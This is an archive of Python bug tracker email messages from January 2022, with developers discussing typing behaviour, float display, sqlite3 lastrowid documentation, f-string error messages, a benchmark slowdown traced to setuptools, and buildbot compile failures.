2022 18:00:07 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641319207.7.0.526810250923.issue45665@roundup.psfhosted.org> Alex Waygood added the comment: `isinstance(list[int], type)` returns `True` in 3.9 as well, so the behaviour has been around for a while. (Not a comment on whether the change is worth making, just a note.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 13:05:28 2022 From: report at bugs.python.org (Mark Shannon) Date: Tue, 04 Jan 2022 18:05:28 +0000 Subject: [issue45609] Specialize STORE_SUBSCR In-Reply-To: <1635208946.04.0.990921573614.issue45609@roundup.psfhosted.org> Message-ID: <1641319528.16.0.980606100694.issue45609@roundup.psfhosted.org> Mark Shannon added the comment: New changeset 7537f6008704b20e2d04a7ef1c0cfa34121cc5eb by Dennis Sweeney in branch 'main': bpo-45609: More specialization stats for STORE_SUBSCR (GH-30193) https://github.com/python/cpython/commit/7537f6008704b20e2d04a7ef1c0cfa34121cc5eb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 13:09:08 2022 From: report at bugs.python.org (John Holman) Date: Tue, 04 Jan 2022 18:09:08 +0000 Subject: [issue46259] float formatting error? Message-ID: <1641319748.57.0.432504835042.issue46259@roundup.psfhosted.org> New submission from John Holman : Example: str(10000.12345678901234) Out[24]: '10000.123456789011' shouldn't the last digit should be 2? ---------- messages: 409696 nosy: johngholman priority: normal severity: normal status: open title: float formatting error? type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 13:09:43 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 04 Jan 2022 18:09:43 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641319783.98.0.608833468735.issue45665@roundup.psfhosted.org> Guido van Rossum added the comment: Okay, so it is probably here to stay. We could justify it (after the fact :-) by saying that you can instantiate list[int], but not Any. Are there exceptions to that? (I.e. are there other annotation types that have isinstance(X, type) return False but can be instantiated, or the other way around?) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 13:17:18 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 Jan 2022 18:17:18 +0000 Subject: [issue46259] float formatting error? In-Reply-To: <1641319748.57.0.432504835042.issue46259@roundup.psfhosted.org> Message-ID: <1641320238.41.0.431350128005.issue46259@roundup.psfhosted.org> Raymond Hettinger added the comment: The two numbers you gave become the same when rounded to the limited internal precision used by floats. >>> 10000.12345678901234 == 10000.123456789011 True When it comes to displaying the number, Python tries to show the shortest possible member of the equivalence class. ---------- nosy: +rhettinger resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 13:20:18 2022 From: report at bugs.python.org (John Holman) Date: Tue, 04 Jan 2022 18:20:18 +0000 Subject: [issue46259] float formatting error? In-Reply-To: <1641320238.41.0.431350128005.issue46259@roundup.psfhosted.org> Message-ID: John Holman added the comment: Thanks - sorry to waste your time. On Tue, 4 Jan 2022 at 18:17, Raymond Hettinger wrote: > > Raymond Hettinger added the comment: > > The two numbers you gave become the same when rounded to the limited > internal precision used by floats. > > >>> 10000.12345678901234 == 10000.123456789011 > True > > When it comes to displaying the number, Python tries to show the shortest > possible member of the equivalence class. > > ---------- > nosy: +rhettinger > resolution: -> not a bug > stage: -> resolved > status: open -> closed > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 14:15:34 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 04 Jan 2022 19:15:34 +0000 Subject: [issue17951] TypeError during gdb backtracing In-Reply-To: <1368228204.29.0.543705311064.issue17951@psf.upfronthosting.co.za> Message-ID: <1641323734.57.0.431957550928.issue17951@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: test needed -> resolved status: open -> closed superseder: -> python-gdb.py fails with TypeError("'FakeRepr' object is not subscriptable") is gdb fails to read debug symbols _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 14:38:36 2022 From: report at bugs.python.org (Brandt Bucher) Date: Tue, 04 Jan 2022 19:38:36 +0000 Subject: [issue46009] sending non-None values makes generator raise StopIteration on next access In-Reply-To: <1638914009.53.0.916939757704.issue46009@roundup.psfhosted.org> Message-ID: <1641325116.14.0.387678311304.issue46009@roundup.psfhosted.org> Brandt Bucher added the comment: New changeset 31e43cbe5f01cdd5b5ab330ec3040920e8b61a91 by Brandt Bucher in branch 'main': bpo-46009: Remove GEN_START (GH-30367) https://github.com/python/cpython/commit/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 14:44:44 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 04 Jan 2022 19:44:44 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641325484.03.0.593156785481.issue45665@roundup.psfhosted.org> Serhiy Storchaka added the comment: My plan was to fix as much bugs in the stdlib and backport workaround to 3.9 and 3.10, then propose to revert this "feature" in 3.11. There is a risk of introducing some regressions by this change, but we can handle it. I think it is better to do it now and fix potential bugs in third-party code (we cannot add workarounds in all third-party code) than keep this weird special case forever. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 14:45:14 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 04 Jan 2022 19:45:14 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641325514.91.0.795382610617.issue45665@roundup.psfhosted.org> Alex Waygood added the comment: Yes, there are a few exceptions to that :( ``` >>> from typing import Annotated >>> x = Annotated[int, "idk some int"] >>> x() 0 >>> isinstance(x, type) False >>> >>> from re import Pattern >>> y = Pattern[str] >>> y() Traceback (most recent call last): File "", line 1, in TypeError: cannot create 're.Pattern' instances >>> isinstance(y, type) True ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 14:47:41 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 04 Jan 2022 19:47:41 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641325661.42.0.52675574864.issue45665@roundup.psfhosted.org> Alex Waygood added the comment: I agree with Serhiy. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 14:51:00 2022 From: report at bugs.python.org (Sandip Shah) Date: Tue, 04 Jan 2022 19:51:00 +0000 Subject: [issue46248] Compilation errors on macOS In-Reply-To: <1641306605.67.0.948139900507.issue46248@roundup.psfhosted.org> Message-ID: Sandip Shah added the comment: Hi, Like I mentioned in the ticket, I am trying to compile libplist, libimobiledevice , and libimobiledevice-glue-1.0 on my mac. These are needed to do any development on a mobile device (specifically for testing / automation). I use Python for a lot of developmental work, and hence would rather stick to the same framework to work on mobile devices too. https://github.com/libimobiledevice The project is not to "embed" Python, but to link to it, so that it can be used for testing the app on the mobile (the tools rely on Cython). The three tools have their own "autogen.sh" which fails with the error mentioned in the ticket. While researching, I had found this solution on stackexchange - https://stackoverflow.com/questions/6490513/vim-failing-to-compile-with-python-on-os-x Which led me to this after looking more in the python distribution files: --- In file /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/sysconfig.py On line 410 - fn _generate_posix_vars 439-448 # There's a chicken-and-egg situation on OS X with regards to the # _sysconfigdata module after the changes introduced by #15298: # get_config_vars() is called by get_platform() as part of the # `make pybuilddir.txt` target -- which is a precursor to the # _sysconfigdata.py module being constructed. Unfortunately, # get_config_vars() eventually calls _init_posix(), which attempts # to import _sysconfigdata, which we won't have built yet. In order # for _init_posix() to work, if we're on Darwin, just mock up the # _sysconfigdata module manually and populate it with the build vars. # This is more than sufficient for ensuring the subsequent call to --- Let me know if you need any other information. Thanks, Sandip On Tue, Jan 4, 2022 at 6:30 AM Ronald Oussoren wrote: > > Ronald Oussoren added the comment: > > Part of the problem here is that most keys in the result of > sysconfig.get_config_vars() are copied as-is from the CPython Makefile and > pyconfig.h header file. > > The keys copied from the Makefile are in a lot of cases not useful for > users of python because they contain values that are only useful while > building CPython itself. > > Without knowing your use case it is hard to point you to a better > solution, but as Ned writes in general just follow the instructions from > the extending and embedding documentation. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 14:57:42 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 04 Jan 2022 19:57:42 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641326262.56.0.742271691802.issue46110@roundup.psfhosted.org> Guido van Rossum added the comment: I'm still wondering why speed.python.org showed such a slowdown, and how we can revert that. Here's a new theory. Thanks to an investigation I did together with Eric, I now suspect that the release of setuptools 60.0.0 on Dec 19 is a smoking gun. PyPerformance (re)installs the latest versions of pip and setuptools. Setuptools 60.0 makes a change in the file distutils-precedence.pth that causes it (by default) to import something called _distutils_hack and to call its add_shim() function. In previous setuptools this was off by default, but in 60.0 it switched to on. See https://github.com/pypa/setuptools/blob/main/CHANGES.rst#v6000 That add_shim() call in turn installs an extra entry in front of sys.meta_path, which does a bunch of extra work. See https://github.com/pypa/setuptools/blob/main/_distutils_hack/__init__.py Pablo, can we change the PyPerformance configuration or the script that runs it to set and export SETUPTOOLS_USE_DISTUTILS=stdlib, to see whether that affects perf at all? (Note that the code in distutils-precedence.pth is executed by site.py in addpackage().) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 15:02:26 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 20:02:26 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641326546.98.0.599089795621.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: > If possible, it's usually better to have the .executemany() create a > cursor with an output array providing the row ids, e.g. using "INSERT ... > RETURNING ..." (PostgreSQL). That way you can access all row ids and > can also provide the needed detail in case the INSERTs happen out of > order to map them to the input data. Hm, maybe so. But it will add a lot of overhead and complexity to executemany(), and there haven't been requests for this feature for sqlite3. AFAIK, there hasn't been request for lastrowid for executemany() at all. OTOH, my proposal of modifying lastrowid to always show the rowid of the actual last inserted row is a very cheap operation, _and_ it simplifies the code (=> increased maintainability), so I think I'll go for that. > For cases where you don't need sequence IDs, it's often better to > not rely on auto-increment columns for IDs, but instead use random > pre-generated IDs. Saves roundtrips to the database and works nicely > with cluster databases as well. Yes, but in those cases you keep track of the row id yourself, so you probably won't need lastrowid ;) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 15:23:02 2022 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Tue, 04 Jan 2022 20:23:02 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop In-Reply-To: <1641326546.98.0.599089795621.issue46249@roundup.psfhosted.org> Message-ID: <1de7341b-ef4f-680c-e4c1-3f1f9104b51e@egenix.com> Marc-Andre Lemburg added the comment: On 04.01.2022 21:02, Erlend E. Aasland wrote: > > Erlend E. Aasland added the comment: > >> If possible, it's usually better to have the .executemany() create a >> cursor with an output array providing the row ids, e.g. using "INSERT ... >> RETURNING ..." (PostgreSQL). That way you can access all row ids and >> can also provide the needed detail in case the INSERTs happen out of >> order to map them to the input data. > > Hm, maybe so. But it will add a lot of overhead and complexity to executemany(), and there haven't been requests for this feature for sqlite3. AFAIK, there hasn't been request for lastrowid for executemany() at all. OTOH, my proposal of modifying lastrowid to always show the rowid of the actual last inserted row is a very cheap operation, _and_ it simplifies the code (=> increased maintainability), so I think I'll go for that. Sorry, I wasn't suggesting this for SQLite; it's just a better and more flexible option than using cursor.lastrowid where available. Sadly, the PG extension is not standards conform SQL. >> For cases where you don't need sequence IDs, it's often better to >> not rely on auto-increment columns for IDs, but instead use random >> pre-generated IDs. Saves roundtrips to the database and works nicely >> with cluster databases as well. > > Yes, but in those cases you keep track of the row id yourself, so you probably won't need lastrowid ;) Indeed, and that's the point :-) Those auto-increment ID fields are not really such a good idea to begin with. Either you know that you will need to manipulate the rows after inserting them (in which case you can set an ID) or you don't care about the individual rows and only want to aggregate or search in them based on other fields. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 15:27:53 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 20:27:53 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641328073.76.0.676208882352.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: True that :) I'll close GH-30371 and prepare GH-30380 for review. I'll request your review if you don't mind. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 15:28:27 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 20:28:27 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641328107.77.0.851631123265.issue46249@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- title: [sqlite3] move set lastrowid out of the query loop -> [sqlite3] move set lastrowid out of the query loop and enable it for executemany() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 15:31:12 2022 From: report at bugs.python.org (Matt Delengowski) Date: Tue, 04 Jan 2022 20:31:12 +0000 Subject: [issue46260] Misleading SyntaxError on f-string Message-ID: <1641328272.59.0.935411717604.issue46260@roundup.psfhosted.org> New submission from Matt Delengowski : Example code ``` foo = 1 f"blank (open paren {foo )" ``` Error report File "", line 1 f"blank (open paren {foo )" ^ SyntaxError: f-string: unmatched ')' The problem is due to unmatched '}' however. ---------- components: Parser messages: 409709 nosy: Delengowski, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: Misleading SyntaxError on f-string type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 15:32:23 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 04 Jan 2022 20:32:23 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641328343.56.0.172862057696.issue46110@roundup.psfhosted.org> Guido van Rossum added the comment: More data. On my Mac, with SETUPTOOLS_USE_DISTUTILS=stdlib, using -X importtime I see the following extra modules being imported: import time: 278 | 278 | types import time: 112 | 112 | _operator import time: 419 | 531 | operator import time: 129 | 129 | itertools import time: 325 | 325 | keyword import time: 468 | 468 | reprlib import time: 258 | 258 | _collections import time: 978 | 2156 | collections import time: 78 | 78 | _functools import time: 835 | 3068 | functools import time: 1359 | 5235 | enum import time: 138 | 138 | _sre import time: 497 | 497 | sre_constants import time: 528 | 1025 | sre_parse import time: 512 | 1674 | sre_compile import time: 109 | 109 | _locale import time: 886 | 886 | copyreg import time: 671 | 8574 | re import time: 471 | 471 | warnings import time: 330 | 801 | importlib import time: 906 | 10279 | _distutils_hack That's around 10 msec, so in the right ballpark. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 16:09:21 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 21:09:21 +0000 Subject: [issue46260] Misleading SyntaxError on f-string In-Reply-To: <1641328272.59.0.935411717604.issue46260@roundup.psfhosted.org> Message-ID: <1641330561.52.0.436924568257.issue46260@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 16:23:47 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 04 Jan 2022 21:23:47 +0000 Subject: [issue45665] Problems caused by isinstance(list[int], type) returning True In-Reply-To: <1635496063.98.0.5366836652.issue45665@roundup.psfhosted.org> Message-ID: <1641331427.45.0.682845863728.issue45665@roundup.psfhosted.org> Guido van Rossum added the comment: I now agree with Serhiy's plan. We should execute ASAP so people get a chance to try this in the next alpha release. We will still allow instantiating e.g. list[int], right? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 16:27:23 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 21:27:23 +0000 Subject: [issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany() In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641331643.39.0.00973335841391.issue46249@roundup.psfhosted.org> Erlend E. Aasland added the comment: There are some inaccuracies in the docs I need to fix first, since those changes must be backported, and I want the updated docs applied upon the corrected docs; I'll open a separate issue/PR for that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 16:46:55 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 21:46:55 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs Message-ID: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> New submission from Erlend E. Aasland : The sqlite3 docs say that lastrowid is set to None after executemany(), or after execute()'ing statements that are not INSERTs or REPLACEs. This is not true; in those cases, lastrowid is preserved. lastrowid is only None in a pristine cursor. Suggesting to reword the docs so they harmonise with the implementation. Note, there is a quirk, or bug with lastrowid: it is set to 0 if the first statement that's execute()d on a cursor is a non-INSERT/REPLACE statement. For example: >>> import sqlite3 >>> cx = sqlite3.connect(":memory:") >>> cu = cx.cursor() >>> cu.lastrowid >>> cu.execute("select 1") >>> cu.lastrowid 0 This behaviour is consistent across current main through 3.7 (though in 2.7, the behaviour is consistent with the docs, so it probably changed a long time ago). I'm not sure it's worth noting this side effect in the docs though. ---------- assignee: docs at python components: Documentation messages: 409713 nosy: docs at python, erlendaasland, lemburg priority: normal severity: normal status: open title: [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 16:49:12 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 21:49:12 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641332952.49.0.242210942865.issue46261@roundup.psfhosted.org> Erlend E. Aasland added the comment: Oh, and the docs says that lastrowid "provides the rowid of the last modified row". This is not true; it provides the row id of the last _inserted_ row. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 16:52:25 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 21:52:25 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641333145.3.0.604525341519.issue46261@roundup.psfhosted.org> Erlend E. Aasland added the comment: I also suggest to add a note about tables without rowids, quoting the SQLite docs: Inserts into WITHOUT ROWID tables are not recorded. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 16:57:14 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 21:57:14 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641333434.56.0.849806163948.issue46261@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +28613 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30407 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 17:24:52 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 04 Jan 2022 22:24:52 +0000 Subject: [issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs In-Reply-To: <1641332815.65.0.970843524461.issue46261@roundup.psfhosted.org> Message-ID: <1641335092.62.0.0784349948656.issue46261@roundup.psfhosted.org> Erlend E. Aasland added the comment: FYI: https://sqlite.org/c3ref/last_insert_rowid.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 17:33:51 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 04 Jan 2022 22:33:51 +0000 Subject: [issue31188] Makefile.pre.in: commoninstall: reformat In-Reply-To: <1502560732.74.0.724807734516.issue31188@psf.upfronthosting.co.za> Message-ID: <1641335631.74.0.197504334937.issue31188@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy type: -> behavior versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 17:36:29 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 04 Jan 2022 22:36:29 +0000 Subject: [issue46262] Error path in `_missing_()` is not covered for `enum.Flag` and `enum.IntFlag` Message-ID: <1641335789.45.0.29399399406.issue46262@roundup.psfhosted.org> New submission from Nikita Sobolev : I've noticed that `enum.Flag._missing_` has some uncovered paths. For example, this error is never checked: https://github.com/python/cpython/blob/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91/Lib/enum.py#L1222-L1225 The same method for `Enum` has good coverage: https://github.com/python/cpython/blob/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91/Lib/test/test_enum.py#L2278-L2325 I've added two simple test cases for `Flag` and `IntFlag` that check this. ---------- components: Tests messages: 409717 nosy: sobolevn priority: normal severity: normal status: open title: Error path in `_missing_()` is not covered for `enum.Flag` and `enum.IntFlag` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 17:40:48 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Tue, 04 Jan 2022 22:40:48 +0000 Subject: [issue46262] Error path in `_missing_()` is not covered for `enum.Flag` and `enum.IntFlag` In-Reply-To: <1641335789.45.0.29399399406.issue46262@roundup.psfhosted.org> Message-ID: <1641336048.02.0.970914947401.issue46262@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28614 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30408 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 17:44:02 2022 From: report at bugs.python.org (Alex Waygood) Date: Tue, 04 Jan 2022 22:44:02 +0000 Subject: [issue46262] Enum tests: Error path in `_missing_()` is not covered for `Flag` and `IntFlag` In-Reply-To: <1641335789.45.0.29399399406.issue46262@roundup.psfhosted.org> Message-ID: <1641336242.02.0.678459441744.issue46262@roundup.psfhosted.org> Change by Alex Waygood : ---------- title: Error path in `_missing_()` is not covered for `enum.Flag` and `enum.IntFlag` -> Enum tests: Error path in `_missing_()` is not covered for `Flag` and `IntFlag` _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 17:46:54 2022 From: report at bugs.python.org (Ethan Furman) Date: Tue, 04 Jan 2022 22:46:54 +0000 Subject: [issue46262] Enum tests: Error path in `_missing_()` is not covered for `Flag` and `IntFlag` In-Reply-To: <1641335789.45.0.29399399406.issue46262@roundup.psfhosted.org> Message-ID: <1641336414.75.0.925408292684.issue46262@roundup.psfhosted.org> Change by Ethan Furman : ---------- assignee: -> ethan.furman nosy: +ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:00:52 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 23:00:52 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641337252.93.0.717692983962.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I did a run of pyperformance manually forcing setuptools<60.0 and another with setuptools>=60.0 I can reproduce the timing difference. I assume we can therefore close this issue and maybe open another one thinking about how to deal with the setuptools problem (maybe reaching to the package maintainera). ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:09:03 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 23:09:03 +0000 Subject: [issue46263] FreeBSL buiildbots cannot compile Python Message-ID: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> New submission from Pablo Galindo Salgado : Seems that the FreeBSD buildbots cannot compile Python 3.11 anymore: LD_LIBRARY_PATH=/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build CC='cc -pthread' LDSHARED='cc -pthread -shared ' OPT='-g -O0 -Wall' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python -E ./setup.py build Traceback (most recent call last): File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/./setup.py", line 49, in from distutils.command.build_ext import build_ext ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/distutils/command/build_ext.py", line 13, in from distutils.sysconfig import customize_compiler, get_python_version ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/distutils/sysconfig.py", line 53, in _config_vars = get_config_vars() ^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/sysconfig.py", line 621, in get_config_vars _init_posix(_CONFIG_VARS) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/sysconfig.py", line 482, in _init_posix _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ModuleNotFoundError: No module named '_sysconfigdata_d_freebsd14_x86_64-unknown-freebsd14' *** [sharedmods] Error code 1 make: stopped in /usr/home/buildbot/python/3.x.koobs-freebsd-564d/build make: stopped in /usr/home/buildbot/python/3.x.koobs-freebsd-564d/build https://buildbot.python.org/all/#/builders/483/builds/1408 ---------- messages: 409719 nosy: lukasz.langa, pablogsal priority: release blocker severity: normal status: open title: FreeBSL buiildbots cannot compile Python versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:12:01 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 04 Jan 2022 23:12:01 +0000 Subject: [issue31137] Add a path attribute to NamedTemporaryFile In-Reply-To: <1502153965.8.0.297181946686.issue31137@psf.upfronthosting.co.za> Message-ID: <1641337921.33.0.914426563421.issue31137@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:12:43 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 23:12:43 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1641337963.19.0.899511409912.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Can this be closed? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:13:45 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 23:13:45 +0000 Subject: [issue43137] webbrowser to support "gio open " In-Reply-To: <1612527994.14.0.364284995735.issue43137@roundup.psfhosted.org> Message-ID: <1641338025.25.0.839501520864.issue43137@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: If this is not fixed by this week, I will be forced to revert the PR ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:17:08 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 Jan 2022 23:17:08 +0000 Subject: [issue46263] FreeBSL buiildbots cannot compile Python In-Reply-To: <1641337743.6.0.289093043654.issue46263@roundup.psfhosted.org> Message-ID: <1641338228.23.0.415759790813.issue46263@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: There is also this other builder: https://buildbot.python.org/all/#/builders/172/builds/1093 failing what what seems is a freeze problem: - 'use_frozen_modules': 1, + 'use_frozen_modules': -1, ? + 'use_hash_seed': 0, 'user_site_directory': 1, 'verbose': 0, 'warn_default_encoding': 0, 'warnoptions': [], 'write_bytecode': 1, 'xoptions': []} ---------------------------------------------------------------------- Ran 1 test in 0.152s FAILED (failures=1) test test_embed failed 1 test failed again: test_embed Adding Eric and Guido for this particular problem to the nosy list ---------- nosy: +eric.snow, gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 18:17:51 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 04 Jan 2022 23:17:51 +0000 Subject: [issue46260] Misleading SyntaxError on f-string In-Reply-To: 